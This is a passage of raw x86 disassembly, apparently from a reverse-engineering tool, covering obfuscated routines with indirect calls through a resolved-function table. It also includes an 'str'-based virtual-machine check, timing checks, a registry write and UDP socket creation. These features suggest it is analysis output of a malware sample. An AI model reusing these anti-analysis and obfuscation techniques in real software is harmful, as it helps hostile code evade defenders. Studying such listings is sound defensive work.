; FUNCTION CHUNK AT 009B403C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B40B4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B4254 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B436C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4840 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B4874 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B4A64 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B586C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B58E4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B5AD3 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5EE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B61C0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B64E4 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8CFB
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3D0h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, [ebp+8]
		mov	[ebp-54h], eax
		mov	esi, [eax+0Ch]
		xor	ebx, ebx
		mov	[ebp-38h], esi
		mov	ecx, 77h
		sub	eax, eax
		mov	[ebp-4], ebx
		mov	[ebp-3Ch], ebx
		mov	[ebp-250h], ebx
		lea	edi, [ebp-24Ch]
		rep stosd
		mov	[ebp-30h], ebx
		call	sub_9A9F43
		cmp	eax, 0Ah
		jg	loc_9ACD74
		jmp	loc_9B0E1C
sub_9B1F68	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B1FE0:				; CODE XREF: sub_9B6504+3Ej
					; DATA XREF: .text:off_9B8CB9o
		call	sub_9A4FEF


loc_9B1FE5:				; CODE XREF: sub_9B6504+38j
		call	sub_9A5238
		test	eax, eax
		jz	loc_9B1C93
		jmp	loc_9B5F40
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1FF8:				; CODE XREF: sub_9B63D8-980Cj
		cmp	cl, 39h
		jg	loc_9AF944
		jmp	loc_9B612C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2010	proc near		; CODE XREF: sub_9ACEE8:loc_9AE600p
					; sub_9B1F68:loc_9B40B4p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AE6CC SIZE 0000004D BYTES
; FUNCTION CHUNK AT 009B012F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B0664 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B59B4 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAF53
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BEBF8
		and	eax, eax
		jz	loc_9AE6CC
		jmp	loc_9B0664
sub_9B2010	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2054:				; CODE XREF: sub_9B0930+42C1j
					; DATA XREF: .text:off_9BAB90o
		push	dword ptr [eax+18h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B92D5
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2068:				; CODE XREF: sub_9B0930+5E2j
					; DATA XREF: .text:off_9BACE0o
		push	off_9B977D
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+20h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8904
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h


loc_9B20A0:				; CODE XREF: .text:009AE66Ej
					; DATA XREF: .text:off_9BAA05o
		cmp	eax, 80000000h
		jnb	loc_9B4B10
		jmp	off_9B92D9
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B20B4:				; CODE XREF: sub_9B4950-F40j
		cmp	dword_9BEC24[eax], ebx
		jnz	loc_9B3BE0
		jmp	loc_9B3BC8
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B20C8:				; CODE XREF: sub_9B5FC0-5E9Cj
					; DATA XREF: .text:off_9BAB56o
		lea	ecx, [ebp+var_120]
		push	ecx
		push	2
		call	sub_9B6078
		add	esp, 8
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		push	0
		lea	ecx, [ebp+var_128]
		push	ecx
		push	0
		push	20006h
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_120]
		push	edx
		mov	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+24h]
		test	eax, eax
		jnz	loc_9B2D12
		jmp	loc_9B2CFC
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2118	proc near		; CODE XREF: StartAddress+D3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AFA38 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B034B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B0570 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 009B2AE4 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BACA4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		sub	esi, esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_4], esi
		call	sub_9B0930
		test	eax, eax
		jz	loc_9B034B
		jmp	off_9BA786
sub_9B2118	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2160	proc near		; CODE XREF: sub_9B3408:loc_9AF0B8p
					; sub_9B3D1C+37p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AF328 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B03B4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B165A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2434 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B59CC SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8EB4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	ebx
		mov	[ebp+var_18], esp
		sub	edi, edi
		mov	[ebp+var_1C], edi
		push	4Ch
		pop	eax
		mov	[ebp+var_4], edi
		call	sub_9AF3E8
		mov	esi, eax
		mov	[ebp+var_1C], esi
		cmp	esi, edi
		jz	loc_9B2440
		jmp	loc_9AF328
sub_9B2160	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B21B0:				; CODE XREF: sub_9B2F1C+C9j
					; DATA XREF: .text:off_9B9F7Eo
		push	dword ptr [ecx+4]
		pop	eax
		mov	[esi+0Ah], eax
		mov	dword ptr [ebp-1Ch], 0Eh
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		movzx	ecx, word ptr [ecx+2]
		push	ecx
		call	dword ptr [eax+28h]
		mov	[esi+0Eh], ax
		mov	eax, 10h
		mov	[ebp-1Ch], eax


loc_9B21DC:				; CODE XREF: sub_9B2F1C+C3j
		test	bl, 10h
		jz	loc_9AF3D9
		jmp	off_9BA8F3
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B21EC:				; CODE XREF: sub_9B03E8-4403j
					; DATA XREF: .text:off_9BAA7Fo
		mov	eax, dword_9BF380
		or	eax, 8
		mov	word ptr dword_9BF380, ax


loc_9B21FA:				; CODE XREF: sub_9B03E8-4409j
		mov	al, [ebp-0B2h]
		cmp	al, 1
		jnz	loc_9AFF3C
		jmp	loc_9AFF2C
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2210:				; CODE XREF: sub_9ADDA4+2A1j
		push	dword ptr [ebp+ecx*4-27Ch]
		pop	eax
		cdq
		add	esi, eax
		adc	ebx, edx
		inc	ecx
		jmp	loc_9AE034
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2224:				; CODE XREF: sub_9ADAC4+7204j
					; DATA XREF: .text:off_9BA15Co
		test	al, 2
		jnz	loc_9AE6B5
		jmp	loc_9AF9FC
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2234:				; CODE XREF: sub_9B63D8-6902j
		inc	esi
		mov	[ebp-212Ch], esi
		push	dword ptr [ebp-2124h]
		pop	ebx
		jmp	loc_9ACB69
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B2248:				; CODE XREF: sub_9AB1A0+5EA7j
		push	edi
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jnz	loc_9AD309
		jmp	loc_9AD304
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2260:				; CODE XREF: sub_9ADDA4-1821j
		push	ecx
		pop	eax


loc_9B2262:				; CODE XREF: sub_9ADDA4-1827j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B227C	proc near		; CODE XREF: sub_9B4FD0-A08Cp
					; sub_9B46CC-7DACp ...

; FUNCTION CHUNK AT 009ACB10 SIZE 00000022 BYTES

		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	esi
		push	off_9BAF9B
		call	dword ptr [ecx+18h]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		push	eax
		pop	ecx
		mov	edx, ecx
		push	dword_9BCB94
		pop	eax
		sub	edx, eax
		mov	eax, 10624DD3h
		mul	edx
		push	dword_9BCB90
		pop	eax
		shr	edx, 6
		cmp	edx, 0E10h
		lea	esi, [edx+eax]
		jb	loc_9ACB1C
		jmp	loc_9ACB10
sub_9B227C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9B22D0:				; CODE XREF: sub_9B29B0+72j
					; DATA XREF: .text:off_9B901Co
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		call	dword ptr [edx+94h]
		cmp	eax, 0B7h
		jnz	loc_9B541B
		jmp	loc_9AE9CC
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B22F0:				; CODE XREF: sub_9B2F1C-54B8j
		mov	esi, [ebp+30h]
		push	dword ptr [ebp+8]
		pop	edi
		add	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, edx
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp+8]
		pop	esi


loc_9B2310:				; CODE XREF: sub_9B2F1C-399Cj
		test	bl, bl
		jns	loc_9AE695
		jmp	loc_9ABB74
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B2324:				; CODE XREF: sub_9ACEE8+1725j
					; DATA XREF: .text:off_9BABACo
		call	sub_9B227C
		sub	eax, [ebp-0BCh]
		cmp	eax, 258h
		jbe	loc_9B34B9
		jmp	loc_9B47C4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B2340:				; CODE XREF: sub_9B3EFC-633Ej
					; DATA XREF: .text:off_9BAA3Eo
		cmp	ecx, 0FF000000h
		jz	loc_9AD6E0
		jmp	loc_9AE328
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B2354:				; CODE XREF: sub_9B562C-64BEj
					; DATA XREF: .text:off_9B9EB0o
		cmp	[ebp+var_12C], ebx
		jz	loc_9AE77C
		jmp	off_9BAAD0
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2368:				; CODE XREF: sub_9B0930+1630j
					; DATA XREF: .text:off_9BA7ACo
		push	off_9B8E7D
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+14h]
		pop	edx
		mov	[edx+8], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+14h]
		pop	eax
		mov	ecx, [eax+8]
		and	ecx, ecx
		jz	short loc_9B23EF
		jmp	off_9B9624
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B2398:				; CODE XREF: sub_9B1A08+AFj
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	11h
		push	2
		push	2
		call	dword ptr [edx+20h]
		mov	[ebp+var_41E4],	eax
		and	eax, eax
		jz	loc_9B17C7
		jmp	off_9B9F6E
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B23C0:				; CODE XREF: sub_9B0930-33A7j
		push	off_9B983C
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+2Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+2Ch]
		test	ecx, ecx
		jz	short loc_9B23EF
		jmp	loc_9B0630
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B23EF:				; CODE XREF: sub_9B0930-5B16j
					; sub_9B0930-5832j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B240C:				; CODE XREF: sub_9B2E04-1D70j
					; sub_9B2E04+80j
					; DATA XREF: ...
		push	esi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B504C
		jmp	loc_9B6160
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B2424:				; CODE XREF: sub_9B46CC-7D9Fj
		cmp	eax, 54A9D400h
		jbe	loc_9B2C05
		jmp	loc_9B2C00
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B2434:				; CODE XREF: sub_9B2160-1DA0j
					; sub_9B2160-B00j
					; DATA XREF: ...
		lea	ecx, [ebp+var_1C]
		call	sub_9B5480
		push	[ebp+var_1C]
		pop	esi


loc_9B2440:				; CODE XREF: sub_9B2160-1DA6j
					; sub_9B2160+43j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	esi
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B245C:				; CODE XREF: sub_9B0930-2CBDj
		push	off_9B9738
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+18h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+18h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0EE4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2490	proc near		; CODE XREF: sub_9B03E8+276Fp

var_4		= word ptr -4

		push	ecx
		str	[esp+4+var_4]
		xor	eax, eax
		cmp	[esp+4+var_4], 4000h
		setz	al
		pop	ecx
		retn
sub_9B2490	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B24A4:				; CODE XREF: sub_9B174C+3DD6j
					; DATA XREF: .text:off_9B9A21o
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		push	dword_9BBD30
		pop	eax
		test	eax, eax
		jbe	loc_9AB66B
		jmp	loc_9AB650
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B24CC:				; CODE XREF: sub_9AC6DC+7392j
		cmp	dword_9BBD10, eax
		ja	loc_9B6188
		jmp	loc_9B1568
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9B24E0:				; CODE XREF: sub_9AB3B0+8873j
					; DATA XREF: .text:off_9B997Co
		mov	edx, dword_9BA084
		mov	[edi], edx
		mov	eax, dword_9BA088
		mov	[edi+4], eax
		mov	cx, word_9BA08C
		mov	[edi+8], cx
		mov	dl, byte_9BA08E
		mov	[edi+0Ah], dl
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	esi, eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		xor	edx, edx
		mov	ecx, 6
		div	ecx
		mov	edx, off_9BAD2C[edx*4]
		mov	eax, edx


loc_9B2549:				; CODE XREF: sub_9AB3B0+719Ej
		mov	cl, [edx]
		inc	edx
		and	cl, cl
		jnz	short loc_9B2549
		jmp	sub_9B27D8
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B2558:				; CODE XREF: sub_9B4CF4+76Dj
					; DATA XREF: .text:off_9BABBFo
		push	edx
		pop	esi
		push	eax
		pop	ecx
		shr	ecx, 2
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		push	dword ptr [ebp+8]
		pop	ecx


loc_9B256C:				; CODE XREF: sub_9B4CF4+3Dj
		cmp	ecx, 3
		jnz	loc_9AFEC9
		jmp	off_9B9EED
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2584:				; CODE XREF: sub_9B0930-4885j
		push	off_9BAC5F
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		mov	[edx+6Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+6Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1EF0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B25BC:				; CODE XREF: sub_9B5904-E4Ej
					; DATA XREF: .text:off_9B9384o
		cmp	dword_9BEC30[eax], edi
		jnz	loc_9AB198
		jmp	loc_9B3EE8
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-334h]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9AD1A4


loc_9B25E5:				; CODE XREF: sub_9AD1A4+189Dj
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+1Ch]
		mov	eax, esi
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AD1A4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B2618:				; CODE XREF: sub_9AF25C+4D0Ej
		push	0Ch
		pop	edx
		push	edi
		pop	ecx
		call	sub_9AEE5C
		test	al, 1
		jz	loc_9AB9C8
		jmp	off_9B9598
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B2630:				; CODE XREF: sub_9B04A8+4CF5j
		test	bl, 4
		jz	loc_9AFD43
		jmp	loc_9ACA28
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B2640:				; CODE XREF: sub_9B1F68+2414j
		mov	esi, [eax+ebp-24Ch]
		test	esi, esi
		jz	loc_9B58FB
		jmp	loc_9B58E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B2654:				; CODE XREF: sub_9AF654+114Aj
					; DATA XREF: .text:off_9B887Ao
		and	ecx, 3
		rep stosb
		add	dword ptr [edx], 0FFFFFDC0h
		mov	ecx, edx
		call	sub_9B3150
		test	eax, eax
		jz	loc_9B06EB
		jmp	loc_9AEB6C
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B2674:				; CODE XREF: sub_9B0734-5492j
					; sub_9B0734-39C5j
		mov	esi, 41h


loc_9B2679:				; CODE XREF: sub_9B0734-39CBj
		push	esi
		pop	eax
		pop	esi
		pop	ecx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B2680:				; CODE XREF: sub_9B2830-7078j
		cmp	esi, [ebp+8]
		jnz	loc_9AD190
		jmp	loc_9B4318
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B2690:				; CODE XREF: sub_9B3864-F82j
		push	201h
		pop	ecx
		div	ecx
		add	edx, 200h


loc_9B269E:				; CODE XREF: sub_9B3864-882Aj
		mov	[ebp+var_2074],	edx
		push	edx
		lea	edx, [ebp+var_201C]
		push	edx
		mov	eax, [ebp+var_2028]
		push	eax
		lea	ecx, [ebp+var_2068]
		lea	edx, [ebp+var_2050]
		call	sub_9B174C
		push	[ebp+var_2050]
		pop	ecx
		test	ecx, ecx
		jz	loc_9AF480
		jmp	off_9B9336
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B26DF:				; CODE XREF: sub_9ACA48+93D2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+0Ch]
		pop	ebx
		push	ebx
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B273C:				; CODE XREF: sub_9B2E04+2250j
					; DATA XREF: .text:off_9B9CECo
		cmp	edi, 0FFFFFFFFh
		jz	loc_9AC13B
		jmp	loc_9AB634
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B274C:				; CODE XREF: sub_9B1F68+2B08j
		mov	ecx, [ebp-38h]
		push	ecx
		lea	edx, [ebp-3Ch]
		push	edx
		push	64h
		lea	eax, [ebp-3E0h]
		push	eax
		push	6
		pop	ecx
		call	sub_9AB1A0
		push	dword ptr [ebp-3Ch]
		pop	eax
		test	eax, eax


loc_9B276B:				; CODE XREF: sub_9B1F68+2B02j
		jbe	loc_9B01DE
		jmp	loc_9ACE54
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2778:				; CODE XREF: sub_9B4950-1296j
		lea	edi, [esi+esi*4]
		shl	edi, 3
		cmp	dword_9BEC1C[edi], ebx
		jz	loc_9B5C2E
		jmp	off_9B9388
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2790:				; CODE XREF: sub_9B0930+5A19j
		push	off_9BA344
		push	ecx
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+4], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8E29
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B27C0:				; CODE XREF: sub_9B04A8-4503j
					; sub_9B04A8+4099j
		mov	dword ptr [ebp-4044h], 0


loc_9B27CA:				; CODE XREF: sub_9B04A8-2045j
		push	dword ptr [ebp-4040h]
		pop	eax
		inc	eax
		jmp	loc_9B4354
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



